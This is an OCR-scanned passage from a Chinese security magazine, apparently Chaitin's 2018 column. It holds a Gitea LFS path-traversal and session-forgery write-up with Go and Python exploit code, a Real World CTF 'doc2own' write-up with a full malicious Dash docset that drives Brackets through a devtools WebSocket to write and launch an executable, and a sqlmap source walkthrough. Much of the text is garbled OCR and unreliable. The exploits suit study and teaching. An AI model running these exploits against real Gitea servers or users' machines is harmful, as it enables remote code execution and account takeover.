BB 4 F XA MERR, X PEXTER,

0XLCIVCCIGINVIWbGO!

WMIE, FATBEMISIWTHIER X, BIR[I5E)LFSHRY
EAXHEO, thiZPutHandler,

PUTIRIFEEZWAEMND:
B IR

1.transformKey(meta.Oid) + .tmp BB/EN IR X4

2URBRAFE, NEIEBER

SR SNk EPN: DIAFSIEPN e pgks

4 MBEXH RN FImeta.Size A —, MRE4EIR
(meta.size @5 —H P OIELFSEEA\RISize S £R)
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5. 0B HMBFE Mmeta.OidA—2, NREIEIR
6. B X HESm R NE NS

HABMNBEENEEXM, MNOD—EZREBFHIEMERN—TEREFHE, M—TXHGNE
# (sha256) MRAZ—THEXFR&H, FAINELEESY, —ERKNSEEL, FAINAAIERITRIEG
T, WEER, BNREBEA-TERE" tmp” IR,

N

B, 1EEFE] T defer os.Remove(tmpPath)iXMEE, F£golBE+, deferftFRREBUREIRTHITHIR
fE, BFiRIR, FTERHNEDRLEEIR, ERNESMERIGR S,

FRUA, FAIFRZEBIREYZ M 18]
1EEBEA—TtmpARRNX G, EAFAE?

2 AL E X S TE R R AT 2 BT AR BR

HMNZABEFE T, REAMEBGLOLER, MRFHERS.

ﬁgiteaqﬂ%%um‘tﬁli%&ﬁy HIEE, HREBEINATENIGI X, BPAFATRIARRKHTTP
B, BARNEESANXHAD, RARECHTTPER, XNE, BEiHnas—BESHFRERNTHNER, &
XPESEIZER, PutREEFSEio.Copy BB THERMN, SAMMASHERIGE XHT .

Br, BEFZ—TRIA, tmpREROIGE XM, Fflgefita?

RAR . (hi&sessioniZ2 AR

@B, FAIATME/etc/cron.d/FEXN—"crontabEc & X4, AEKREIKEXshell, {E@Egiteads
RIB{TFErootiN R, FIAKNBEREHEMAIE,

giteaff FHgo—macaron/sessioniX 58 = KRR K E M session, FRINMERXHHENsessionfZiES 25
HA13EEEgo-macaron/sessioniR g :

XERR/ITREEZNR:

func (p ile Fil h(s1i ing) string {
1.sessionX 4% Fsid[0]/sid[1]/sid return pat tring(sid[0]), string(sid[1]), sid)

2 R AGobFIEFEANX M

). filepath(s.sid), data, 0600

terface(}) ([lbyte, error
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GobZGolEEMBEMNFIINTE, HMIAIURE —KRGoIEEREF, FKEM—EKRGobiRiGHIsession:

package

main

import (
"fmt"
"encoding/gob"
"bytes"
"encoding/hex"

)

func EncodeGob(obj map[interface{}]interface{}) ([lbyte, error) {

for _, v := range obj {
gob.Register(v)
¥
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 =1

obj := maplinterface{}]linterface{} {"_old_uid":
"vulhub" }

data, err := EncodeGob(obj)

if err != nil {

fmt.Println(err)

}

edata := hex.EncodeToString(data)
fmt.Println(edata)

Hep, {"_old_iod"

"uid": wuid, "uname":

"1" "uid": uid, "uname": "vulhub" }FEsessionRIEIE, uidE2EIERId, unameRBRAAF A,

FEAHPT LIRS, 55 —8Bhex, FEWSRIEIE.

RIEE A HAIPOCR M A RIFH—ER T3 B2, uidflunameRBEEE N .

The Go Playground m

package nain
import (

“fnt”
“encoding/gob”

te
“encoding/hex”

ta = hex. EncodeToString (data)
fnt. PrintIn(edata)
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BE, 57— ERNPythonfI AR HTFEEANA (FEPython3.6)

import requests

import jwt

import time

import base64

import logging

import sys

import json

from urllib.parse import quote

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)

BASE_URL = 'http://your-ip:3000/vulhub/repo'

JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqm0d18h34z0yxfqcieuAu9yY'
USER_ID
REPO_ID
SESSION_ID = '11lvulhub'

SESSION_DATA =
bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6T6C
645175696406737472696€670c0300013106737472696€670c05000375696405696e743634040200020
6737472696e670c070005756€616d6506737472696e670c08000676756Cc687562")

def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding !'= 0:
data += '='x (4 - missing_padding)
return base64.urlsafe_b64decode(data)

nbf = int(time.time())-(60x60%24%1000)
exp = int(time.time())+(60%x60%x24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', '
exp, 'nbf': nbf}, decode_base64(IJWT_SECRET), algorithm='HS256")
return token.decode()

def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''

0ID = f'....gitea/sessions/{SESSION_ID[@]}/{SESSION_ID[1]1}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/1fs/objects', headers={

exp':
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'Accept':
}, json={

"0id":

"Size":

‘application/vnd.git-1fs+j

01D,
100000,
Iluserll : Ilall’

"Password" : "a",

llRepoll : ||a||’

"Authorization" : "a

})

logging.info(response.text)

son'

response = requests.put(f"{BASE_URL}.git/info/1fs/objects/{quote(0ID,

safe='"')}", data=gen_data(), headers={
'Accept':
'Content-Type':

'application/vnd.git-1fs',

'application/vnd.git-1fs",

'Authorization': f'Bearer {generate_token()}"

})

R HIARSENIERISESSIONEIRE R, FHFE300WE7 XM ERE, AX300%H,

—PE A “Nvulhub.tmp” X4, Xt Esession id,

W FiXPsession id, BIEJIRFAEEA.

RS ERERE

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /api/\A /user/emalls HTTP/1.1 L HTTP/1.1 200 OK

Host: your-ip:3000
Accept-Encoding: azip, deflate

Content-Type: application/json; charset=UTF-8
Set-Cookie:lang=en-US; Path=/; Max-Age=2147483647

Accept: */*
Accept-Language: en X-Frame-Options: SAMEORIGIN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Tridsnt/5.0) Date: Sat, 14 Jul 2018 134534 GMT
Cookigt 1_like_gitea=11vulhub.tmp; | Content-Length: 58

Connection: close Connection: close

w5 _Li_like_gitea=11vulhub.tmpiX“MCook-
ie, FAIBNPITARIEEGAMKS,.

REREEXLIIE, BREPEREGCItY
F. GtHFERToitHLNIE, SWEIHR
TH—ERRIA, tbal3iIXE Aipre-receivey
F, MiERfFEcommitZBISHITHHIA, BREH
AN EFH T Stouch /tmp/success:

REEMTURIEZ — T X, RIER. HA

dockerazs, A WA <LWAINIAT:

[(*email":*123123 @qq.com", "verified"true, "primary "true}]

@ mwEs Is=m  axEr ==

Q vulhub / repo
orE 0I=0 ==
=SB e

B Git i F

BB Web 57

WEETRED, WEDT
WFEH  pre-receive
wIXE

W
#To ensble this hook, rensne this file to “pre-receive’.

if test n *SGIT_PUSH_OPTION_COUNT”
<hen

i
while test “$i° -Lt “§GIT_PUSH OPTION COINT”
&

BE Gt T

Set-Cookie:_csrf=TofsFulZnR7 fm4fZD1hQXeM7j416MTUZMTU3N TkzNDE1 OTI20DEXNw%3D%3D; Path=/; Expires=Sun, 15 Jul 2018 13:45:34 GMT: HttpOnly

Bhl#H@leavesongs.com

FEESEE
® WESE 1 =® 0
K eEgE

EEEEH
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_JE/EL,‘EI\%
BDNRBRIEEN®, Go WeblnIBEITHIERE VL, EESREHERMEDNIERT, XEFBEK
RBELEMARETREBRELN TR,

ATREFELLRPOCEARIERLE, EAXRART THECHEMARERT, MEZROAZNA—#
HRYREN B ARENXNFE, REZSXNREOMNAY R —EAHES, tbl:

1.9iteafI$GITEA_CUSTOM, X MEFNE)1EEapp.inifIAEZPOC

2EBRANAFPEMID, XTIERER, EEIRNBELENNNEEE R Nsession, TR
BEE— 1A session, REHFANLEBERNEEBREEEAMIRZNIE, MRENIE, Ml
BHMERRMAFPET.

5, EUMRENEDIBEITE—LT, tbillgiteafE—RRRIF, MRTERBWIE, MisessionEF
BERNFEN. RBE—RERRE, 7TaERXHsession, B—REBIE.

MEBFASFERNEsqliteBIEE, BMTMERZRTHEMIEE, HEIMMNBBREEMNS— 1M
M=FFSE, FMAXMMEESLEEEMNIEEE RMWcookie (FAgitea_incredible) , X—REMAE T,
AR LBECEEXH.,
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Real World CTF

doc2own #p iR
BE: B&

EDBH realdworldctf 1811 7 — 1" REEXLNE iR pwn BH,

AERIEESBNNEREERE " BBESRT. SNEFAES LoCCS NEMFRMRME, FNIEE
REHRIREBREISppt, REEXTHLEE, BE VIR ZENDANES NI EN
exploit 238, REEEELFELITHEMNIEL M7 AL — 1T LIERE MR MANIMEE L4,

BRNEBIELEETTRE. SRELFIRES, KEE/LXEMAARRZR ETHIEN Oday MA,
MmERKREERRZETER, BRI T EZNnRAENITO,

BT T SRUNESR, EXERATATTRXBRNOMET.

EFMHBAKI T — Visual Studio Code HIZFZRBMITIRIE, MIRSEAMBIER T .. XTa@A
5= Electron £ T Chromium BUIZFERIH LMY, & T http F WebSocket Y,

KEEEMERLEONSET, SIMER dns EHENRITIRE— RN uuid, #iE— Web-
Socket XK url, @ Electron BRTHENEERIE, LI node.js EERBHIT.

VSCode ZEEDHRAFEINTE T Extension HFEHEIRIHO, REBHE—TMIIHEEBH+F (dns
rebinding EE—ERRE)1LIH dns iIBFEKR) , ITENEIHITFEIRE,

b= & F1E Adobe Brackets F &AM T e —HARIE:
https://github.com/adobe/brackets/issues/14149

5 VSCode INERIE, Adobe Brackets 3B {EH Electron, MEB1THERM IIbCEF #£22, 5 node.js
MWEM N ARE, Electron BIATE window BY_E X H15(8) node.js API, 1M Brackets F9ZR%E23Hi i N
RBRMXDINGE, RE Brackets HREAEIT node.js BT,

D Brackets £ E X HREREZ TUW TR PR brackets 1 appshell
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index.html (Getting Started) — Brackets

At <!DOCTYPE html>

2 v <html chrome-devtools://devtools/inspector.html

3

4 < [x Elements Console Sources Network Timeline Profiles Resources Security Audits 02 A1) @
5 -

s O Y top v Preserve log

7 Less has finished and no sheets were loaded. thirdparty.min.js:13
8

9 @ » Cannot assign Shift-Cmd-1 to codefolding.expand.all. It is /command/KeyBindingManager.js:747
10 b, already assigned to view.togglePanels

11 ¢ O Failed to watch root: /Volumes/Brackets Release filesystem/FileSystem.js:967
12 1.13/Brackets.app/Contents/samples/root/Getting Started/ NetworkDriveNotSupported

13 @ »Error watching project root: /Volumes/Brackets Release /project/ProjectManaqger. js:800
14 1.13/Brackets.app/Contents/samples/root/Getting Started/ NetworkDriveNotSupported

15 NodeSocketTransport - start LiveDevelopment/MultiBrowserImpl/transports/NodeSocketTransport.js:84
16 AutoUpdate : updateHelper.json cannot be parsed, does not exist main.js:313
i > brackets

18

19 > 0bject {fs: Object, app: Object, metadata: Object, config: Object, shellAPI: Object..}

20 > appshell

21

22 > Object {fs: Object, app: Object, metadata: Object, config: Object, shellAPI: Object..}

23 >

24

25

26

B TWRIETXHRGM shell HXOIHEE, RAFAIAREE require('child_process'), EEET
appshell.fs AIUSEMERXHEE ., BIXHRER—FHICEZFINUZE flag 7, SR—TFHEFINRBSLE
flag BOBE1Z, EERE— shell thiEiE, BEANTXAINLESMIRA FEEI P SEMITFZ(CRBHRAT.

£ Brackets ¥ BiZOH, T TUFM TSRS shell HRHTIA:

e brackets.app.openURLInDefaultBrowser

e brackets.app.showOSFolder

BIBE XIS file:/// 8%, 7 Windows NHEZTF ShellExecute, FJH— .cmd Z& .exe BIRJ#1T
AR5 M showOSFolder £ macOS FHIRIZE, WRXHKE—TEME .app bundle, APAHFRFWEH
app, PMEIET. WRIFAKIBA, BaBEXERETHIT,

find /Applications/Calculator.app
open /Applications/Calculator.app

EtBANSF BT aZER, B appshell.fs Sl PIHTXMHE, RAEFBXINAGERIFIEIT:

function calc() { // use brackets.fs to write your own executable // makedir, write-
File, chmod are your friends if (brackets.app.getUserDocumentsDirectory().index0f('/")
== 0) { brackets.app.showOSFolder('/Applications/Calculator.app'); } else {
brackets.app.openURLInDefaultBrowser('file:///C:/windows/system32/calc.exe'); }}

X EEIRISEM S VSCode ZHIM bug T2 —HAIME, ®83d dns B4 E A O SEIInFE RS
1T, ERZHIREIRE/S, liIbCEF 32 node.js # Electron BIUAIEE T dns EHEMRH, EE2H
FThR Brackets BYX s O1hSARI BAM localhost i(a],
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R8T £ Dash IE?

Dash AJLAIRZELA macOS AENFAHEREFAIPFRIMNEN—RTLET, EBEMEBLE
XY, XHEE—TESHKR docset B bundle X3, FM html HIRMRSIHIEES,

CEAERINKEE, —TERTXENBNE WebView, B—PEEITANHNNEEER—THE
9 GCDWebServer SEE25— http BRSS, Al@ T E A& AL,

macOS LAY WebView #] iOS #9 UlWebView £1RZ HHE2E—EH:

o SREHFERB A sandbox
o 7£ file:/// WTFHXHERIAER AllowUniversalAccessFromFileURLs #1 AllowFileAccessFrom—
FileURLs B9 UXSS 8/

£ Z BIARASA Dash #h el OB — N EERY docset, DA XMLHttpRequest B9 ZIEENFF &AM S {4

(540 ssh AFAER) IARE. £ 3x NE—THRE (BEAF) PG TRE), 0RIBOXXHE docset

BRZIIEEM, BXMRAFTNEREERECHRIMFTSHEZNARSET (BF docset BXHFE, BE
MoK ANEER tar.gz 8) . WWHMFSEENEEHZID Dash A& http RS

ZUREEEE TARMXPEZENED, XBAHIRM T —TMEBENFE—XE2TRTFEEIEK,
X ABEE R AJAX EAMNHNINE, RFONEIERMIZRZABRT. &EXT WebView MRS
WNE Safari Y WebKit E—M, BEREFERS AN TZREFABRIDRRENR, EFTT ctf B
Safari Oday? R 715,

doc2own ( Points: 425, Solved by 4 Teams )

| have to fix these issues during the flight. Since that airline does not provide Internet, | have to download
some documents for offline use.

http://34.236.229.208:8080

Hint : It’s a pwnable game. You really need to achieve RCE to get the flag.

AERENEIBRE—TEE—HNEERRARES], EHENB EFER bug, XM, REET
—TBEXEER. MR T AT, TE2BMPET.

217 EXBAIRBRTERAOARIAM T ok,
https://blog.l4ys.tw/2018/07 /realworld-ctf-2018-doc2own/
AXEM FFBESTEILEIN— %, £ —1 docset, £ Brackets izfTHIIE R FHIAS#E—"
TTEER,
contents=exploit.docset/Contentsdocs=$contents/Resources/Documents

rm -r $contentsmkdir -p $docs

cat > $docs/index.html <<- "EOF"<script>
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async function main() { const list = await fetch('http://localhost:9234/json').then(r =>
r.json()); const item = 1list.find(item => item.url.indexOf('file:///') === 0); if (!item) return

console.error('invalid response'); const url = “ws://127.0.0.1:9234/devtools/page/${item.id}";

console.log('url:"' + url); exploit(url);}function exploit(url) { function calc() { const fs
= window.appshell.fs; const mkdir = path => new Promise((resolve, reject) =>
fs.makedir(path, 0755, err => err => err === @ ? resolve(true) : reject(err))); const write—

File = (path, content) => new Promise((resolve, reject) =>
fs.writeFile(path, content, 'utf8', false, err => err === 0 ? resolve(true) : reject(err)));
const chmod = (path, mode) => new Promise((resolve, reject) =>
fs.chmod(path, mode, err => err === @ ? resolve(true) : reject(err))); const INFO_PLIST
= "<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertylL-
ist-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>hello</string>
<key>CFBundleIconFile</key>
<string>AppIcon</string>
</dict>
</plist>"; const EXEC = “#!/bin/sh open —a Calculator”; const app = '/tmp/test.app/"';
const base = app + 'Contents/' return mkdir(base + 'Mac0S') .then(writeFile(base +
'Info.plist', INFO_PLIST)) .then(writeFile(base + 'Mac0S/hello', EXEC)) .then(chmod(base
+ 'Mac0S/hello', 0777)) .then(new Promise((resolve, reject) => { brackets.app.show0S-
Folder(app) })); } const ws = new WebSocket(url); ws.onopen = async () => { let counter

13371337; const send = (method, params) => new Promise((resolve, reject) => { const id
= counter++; const recv = ({ data }) = { const parsed = JSON.parse(data); if
(parsed.id === id) { resolve(parsed. result); ws. removeEventListener('message’,
recv); } else { console.log('message: ', data); } }; ws.addEventLis—
tener('message', recv); ws.send(JSON.stringify({ id, method, params })); I3 const
response = await send('Runtime.evaluate', { expression: “(${calc})()’ 1}); console. log(re-
sponse.result); ws.close(); }  ws.onerror = () => console.log('failed to connect');}-
main();</script>

EOF

cat > $contents/Info.plist <<- "EOF"<?xml version="1.0" encoding="UTF-8"7?7>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/Prop-
ertyList-1.0.dtd">

<plist version="1.0">

<dict>
<key>CFBundleIdentifier</key>
<string>exploit</string>

<key>CFBundleName</key>

073



KERAREE2018FEEE

Chaitin Tech Column 2018

<string>Exploit</string>
<key>DocSetPlatformFamily</key>
<string>exploit</string>
<key>dashIndexFilePath</key>
<string>index.html</string>
<key>isDashDocset</key>
<true/>

</dict>

</plist>

EOF

sqlite3 -batch $contents/Resources/docSet.dsidx << "EOF"CREATE TABLE searchIndex(id
INTEGER PRIMARY KEY, name TEXT, type TEXT, path TEXT);CREATE UNIQUE INDEX anchor ON
searchIndex (name, type, path);INSERT OR IGNORE INTO searchIndex(name, type, path)
VALUES ('Exploit', 'Class', 'index.html');EOF

open exploit.docset

tar czf exp.tar.gz exploit.docset

<1 DOCTYPE heals
iWEELY

a- e g =

DOC LT NTATION wElowms AFLET. 0.8, 11920 /devicals/ page/ABYEF JID=CX EB=dCE8=BCTF = YECA REICTAFD

Ox0

a‘l! 0009 0009 IUIG‘I;"HG o000 @880 lﬂ“&
alll o008 000 lHﬂ:ﬂﬂ 0000 0800 Ml:

* g Explott %

BE AP B B B RS e e B e e B e g
B e b D e R e R A

" X«Y || X»Y g4

BREHFERERNNE, BI=58BA PPP, CyKOR 1 ESPR ZAEENLLFREANEERI L THTAE
%O%y%io%Fﬁﬂrﬁﬂ@ﬁﬂﬁ , XRENE T —BRICHR, XRIMT BIM—LRLURIZT
MATRERR (FIRBM poc, EIFKREBSHWINGE)

Dash fFEZIIMEZEFIRETEMEL TEEHT, WE 7L LR Dash XEBERRZBNREXEMR
MHNIE, EERASTRBESHT Z2RBNEFEFN MU ESART TS . NaIBAHSIEE TS,



Software Update

A new version of Dash is available!
Dash 4.4.0 is now available—you have 4.3.2. Would you like to download it now?

Release Notes:

Important: Security Update

This update fixes several remote code execution vulnerabilities that have
been found in Dash as part of a recent Capture the Flag competition.

All of these vulnerabilities require a Dash user to install and open a page
within a compromised docset. The docsets available by default within Dash
(including user contributed ones) have been checked and no evidence of
these vulnerabilities being exploited has been found.

You have nothing to worry about if you did not install custom docsets from
untrustworthy sources.

I'll provide more information about these vulnerabilities within a few weeks,
once most users will have had a chance to update to the latest version of
Dash.

If you believe you might have been affected by this, please contact me as
soon as possible.

A special thanks goes to the teams that have found and reported these
vulnerabilities: Plaid Parliament of Pwning, CyKOR and Eat, Sleep, Pwn,
Repeat.

Automatically download and install updates in the future

Skip This Version Remind Me Later ;[] S| (@SN

Dash P IERIRFALRE] 4.4.0 KIEEXLLGE,
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sqlmap AT |:
EhmAE
E&: villdn

—EHEREE—RY salmap IXE, BOSAZARNKZEXRIBTHARME, BaBEHEET LM
BER, E2EFH—ED9XT sqmap XERARBETHRIT, EREENEZOITIEH, RIGH L
BEERE. sqmap AP ITRIINER=RK, AXNE-R, FIBIHELE.

BREEREAAEES, RA—Ho AHZELZEET sqimap JRIBANEZE, (BEESEFREEIE
AER, BNRMAR BB EFESIPEFSENEES HX,

“SalMap RIBATAREXR/LBEGT—FFNAZEN“EEE conf Ml kb XEMR? XM 2REEEEIKTFT
18?2 "R AERE sqimap B9 xml BUHSE, E2HRZHR B HEERBM1IH payload”

HRGEXERIAREEE REMLXTMENSE, BRI, Lrt, FAZEN sqmap TR
KFPBSHARENE. MEHTMEASTATASNHLEM, SHERITFNRRSD, TRESEHE
PEARBYRRIA#HTEMSAMRES, RMEALEER python2 HELELE ML,

[Oct 12, 2008 - Aug 8, 2018 |\ | Contabutions: Commita - |
B+

Contributions to master, excluding merge commits

isg

e

. ﬂdMUmULmM“““AL

— s s e

EARINER, FANEEHN sgmap MRIZONA HEEFTON, AXEEHTEMRETETN
BEHA, AXHIEZMEN sqlmap JRIBEIE, FEEZEMETETUMTSE,
0x00 E&FILE

BEEIE sqimap IRIBBHBEARIEEESEEZHNEM github TEHZ clone {UIBRIAM, EREM
KihRiEes % IDE I ERR . FIUERRIERME
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git clone https://github.com/sqlmapproject/sqlmap
cd sglmap

#HN sglmap B9 repos T, BEIEFI A RiEssIE!

HAEBZIXERZ Python3 AP, EXRAVNERBRRISERN LLE Python2 AEBHITRE.
EEZFRANHTIER

e Mac OS X

e Pyenv

e \/SCode

WHZ{ER Pyenv (+virtualenv) ##2 Python &Iz 1T sgimap.,

EEZSAFUERELMENERZEAENTAMNE, BEEXHEHRNY, IHEHNERMEBEARKRL TR
HOEE(0):
EEE conf fll kb XZ2E? XA T 2RLEEEEIKE 71?7
BLREBEITENMENTERRFERNM T FENERTE, NTIMRERE sqmap B 0B
BETRAER, AZENITFNIES, HXIRBRE.
PRUAZATIE B MK B ENE !

sgimap.py *

.gitattributes

.gitignore
.python-version
travis.yml

i LICENSE
README.md
sqlmap.conf
sqlmap.py

sqlmapapi.py if __name _ ==

main()

from lib.controller.controller _.':;::-r'_%-uagkz @I‘J\%ﬁ




BAELES, FTUKEIRIPAENRR ;
Faa<iT A0, FNEERDTHLITA ool L e L e T
O, HEXXNEBEHITTEFE
7, PRUAERRILATEER main MEEER
KTER.

error{errisg)

BIREARES T AERZMAEHA] S
FENIZE try FIOAS. SEFRLE except except (SqlmapSilentQuitException, bdb.BdbQuit):
FIERE sqimap FEMEFFTENIE, & except $SqlmapShellQuitException:
SRR EREMBENNES/BFRPSEUK except SqlmapBaseException as ex:
SRS, £ finaly o, k[ bosrdinterrupts
B T TEUEE (HashDB) M9t E/IRE/ except EOFError:
FERAK dumper RO Z#R1EN Z A T2 5 . temExit:
IREIRURIE, BRNAEZAEIAIMA
BJENET, BEIREERTREREEN

BoIE,

dirtyPatkhes() 1 @ DirtyPatches
checkEnvironment () 2

setPaths(modulePath() (3 9 MEISE
banner(}y

© DTSR

cmdLineOptions.update(cmdLineParser().__ dict_ ) £
Banner
initOptions(cmdLineOptions) 5 @ FTED

f conf.get("api"}: O EEmEE

sys.stdout, . " Fallell e
sys.stderd W SES N - -—— == =g
setRestAPl fg

conf.showTime
dataToStdout ('™ — w aiatw .-.AIHER forceQutput=
dataToStdout (" [+ An" % time.strftime("%X"), forceQutput= )

init()

conf.undateAll:

FEXRETIESRD S, BNRMT 1-4 RBNSMENEMEEHRT T —BRFE, AEE 5 TENNE
HITTBEIAN, RETTIRER sqmap, LR EXEREAFTZE—LREL, BFRBIFEBENBXESE
RERETHA,
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1.7 DirtyPatches B, BIRE T httplib BIRATTRE (httplib._MAXLINE) , EFRESAE=HY
windows THY ipHtitEEie R EEIR (win_inet_pton) , REXRDFHIT T —LLEHR, 1B cpb65001 ikl
utf8 B I —LEXE FAEEIR, XLERIEXST sqlmap NEFRINEERIMH N E453IK, BT RILERF K
RMAFIRENETER, FAFEHITIZKD.

2HEMBMER, MTUNTRE: WERRER, E Python WA, SAZREEE. HITEHTE
BEXORZX—, REBILEFEX—THNSATIITRENEBZE: ("cmdLineOptions", "conf",
"kb"), HBEREAKRNE, HIEZE lib.coredata FIHX/LNEEHIEREIEE, ARMNHAZRE
XEMBTN (RATHMEKRE TEX N SER, RFEZHERMAILTHMEEW)

3B EME IR,

4.3TEN Banner,

DRANREIFEXRRE T, BARBLIMARETVRMNNE, BE2XFL, MRAMEX—
&, BNEENEENZEEE kb M conf NRERSTMNFEFENRELE, AXFTH, FIHITTERE
XM, FiRE (KnowledgeBase#liaft) MRAFIRIER Merge M#IAK, HAIEZ DT
RBETEHX kb # conf AYRIE, FIMBEREX TR lib.core.option &R IFH IS N AIRIIA
BHEN., HA, X—F P REIF—L kb/conf # fields thEJEESIET lib.parse.cmdline #, BILAEZ®E
i ctrl+F #EERE,

conf. showTime = @ 1A kb 5 conf FRRIAREIIAE
dataToStdout (" [1] e " eutput= )

dataToStdout(" [+] Sesw W m_ =_.. .0 B .55 W W ., R.ocoutput= ) o ELR ThEE S 1mIR

g © e B ERINL
conf.updateAll:

f conf.smokeTest:
n lib.core.testing impo smokeTest 2
smokeTest()
if conf.liveTest:
lib.core.testing import liveTest (3
liveTest()

m lib.controller.controller i start
if conf.profile:
om Lib.core.profiling ; t profile
globals() ["start"] = start
profile()

start()
ot thread.err

ta d getSafeExString(ex):
erHWSg = tart new threads. Please check 05 (u)limits"
logger. cr1t1cal(errMsg)

THEIEGESMAMNRTENMRE, XEMBERTE nit) NIREETEESIBEMEIENRECETHE
MiIRE, HNNRBLBMANERTO, RBERRRMRAELRIHHMAINT .
2. B, M EFASEL P UEF

3.IhgEMS, MK sgimap INEER B TE,

HAN F—EBRIBIEMEE if not conf.updateAll, X MNEFET lib.parse.cmdline FAE X AIE FTIEIN,
MERZXDEIFTF, sqlmap 2 BENEMHABASRITEEN X P BALIR TIENDE,
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conf.updateAll:

ﬂ B R ERBR sqimap
e e

o R e 9 M2 1TRB5) sqgimap
Sindls ..
vl il

JUL R JN
1=

lib.controller.controller start
conf.profile:
lib.core.profiling profile
globals() ["start"] = start 1
profill.e()

start() (2
thread.error ex:
n't start t getSafeExString(ex):
errMsg = "una st : €
logger.critical(erriMsg

ALFRRENET, EERELEPRET ML, BIEERSTNR, ESNEEZEM start()
RER, PIAMNERIRAERI 2 EFTERTNED .

HEANIE start() REHORHMR, BRANRTHLMF E2—MRFENRRE, HMNEE—T, UTERL
(CySER

cmdline.py %

hel-r"Shaed prag vl '~ wora el mkid g g

rri g | e T, | e

-y el v s Taye s M CEmn I | unn
i v b e s I = &,

target.add_option("-d", dest="direct", help="Connection string "
"for direct database connection")

wl STaaleel Ml ™. « "™l . Ly PR

o =™ 1, =i="mygtll ,
ber e legrnl oy |

e LTI EL TE T e T S T L

HAMIAREER T conf R—LREFIFAIEM, HXLIRMILAIE 0x01 HHEEY, FINER L
WHHEIX LRI Z R, (I conf.direct A, PIMATE lib.parse.cmdline FBRHEH EX 1IN
AU AR -
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onf.outputPath)

Direct
IR T E SR

MNFRIRET URL
FHEH SRR HMERIED,
MEA URL 31 Binshid—1BiF

HATHEXERERSENEER,
NEMEEiR, ATREEERETRHER
iR GE B 4w

JZT For each @ 5F&F 38 —T BT
ibple: |

RIFRA, XREESIEENED, AT SRR H AR EXOM, BATERRXE salmap 2201
KRR, MAXMEEAFBREIEERXREEN, F PREE - ERAMEELANE, BiIEZRH
ATHRER D H XX BIMEAN DT B REREREIINE T 89, 17 FRBAIFIT A SO0 754!

or targetUrl, targetMethod, targetData, targetC e, targetHeaders kb.targets

LT conf.checkInternet:

conf.url = targetUrl

conf.method = targetMethod.upper() if targetMethod else targetMethod
conf.data = targetData

conf.cookie = targetCookie

conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders 1)

initTargetEnv()
parseTargetUrl()

testSqlInj =
f PLACE.GET conf.parameters any([conf.data, conf.testParameter])
for parameter re.findall(r" [x2)" % (re.escape(conf.paramDel
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[@])
f paramKey kb.testedParams:

testSqlinj =

paramkey = (conf.hostname, conf.path,
f paramKey kb. testedParams:
testSqlinj =
testSqlInj conf. hostname kb.vulnHosts:
testSqllIn
infoMsg = " % targeturl
logger. info(infoMsg)

4 conf.multipleTargets:

setupTargetEnv({)

checkConnection{suppressOutput=conf.forms) checkString() checkRegexp()

© M AFTEN B iR
B& confuurl L% method data
cookie #1 headers 1Hx5E

O ETLTTERTNSY

© HEEERECAKNE YRR,
MREZGETT, NPT, BEEs
AF—TBiRteN

O ¥z ERNLE, BERT
KiE
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HABHMEZ G, BRHITHENSZEDBETAAD, XMEAMREZERBNMAZRRT ; HBIRH
KIEEZE, FFAIEE conf.url,conf.method,conf.data,conf.cookie Ml headers Z=FE%, HHTE parse—
TargetUrl() T EFMESEBMNE; ZEEIRIE HTTP /9 Method 1IREVEERNENSH, HBENMELHE
N SEIES T 2T EMNE, SES4TPH LRI E,

TEM ERRIEZE, 1T setupTargetEnv() XTRBEZ—TIFEEEZNRE, HESWT
B1E:

def setupTargetEnv():
_createTargetDirs()
_setRequestParams ()
_setHashDB()
_resumeHashDBValues ()
_setResultsFile()
_setAuthCred()

HERT _setRequestParams() MEXTASEH (E73) S TXNARHN, SABIIEE
HMAEER _setRequestParams() X ME. EANT RE—MSBYE, BIAAEREIERAMT
e

_setRequestParams():

@ IR GET MEIMSH

@ 23 POST HIIRE, HEEHASH
FEfrERttRE SR, S8R5
QUERY/JSON/JSON- like/ARRAY/
XML/MULTIPART 33 /132 5 9 204

if conf.direct:
conf.parameters[

hintNames = []
testableParameters =

T conf.parameters.get(PLACE.GET):

if conf.method == HTTPMETHOD.POST conf.data

if conf.data HE
conf.method = HTTPMETHOD.POST if conf.method conf.method == HTTPMETHOD.GET else conf.method

process(match, repl):
f kb.processUserMarks kb.customInjectionMark conf.data:
f re.search{JSON_RECOGNITION_REGEX, conf.data):

f re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):

if re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):

if re.search(XML_RECOGNITION_REGEX, conf.data):
if re.search(MULTIPART_RECOGNITION_REGEX, conf.data):

kb.postHint:

if kb.customInjectionMark conf.data:
conf.parameters [PLACE.POST] = conf.data

kb.processUserMarks = if (kb.postHint kb.customInjectionMark (conf.data ")) else kb.processUserMarks
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kb.processUserMarks = (kb.postHint kb. customInjectionMark (conf.data . kb.processUserMarks o &1 GET SR E
:

if re.search( any(place conf.parameters for place (PLACE.GET, PLACE.POST)) . 9 324 for R MG TR POST URL LR

::::::g e Headers RS FEEESCIAFTS
(¥) MRBHVE, WIERLIE

warnMsg += "

warnMsg
logger.warn({warnMsg)

© #HHBEETH Cookie HIISHHT
i3]

message
message [4] fﬂ‘]j ETZ7E £ A H9 HTTP Header

choice = readInput(message, defau = HITLIE

choice == @ CSRFToken HLHE
choice L

place, value ({PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str{conf.httpHeaders))):
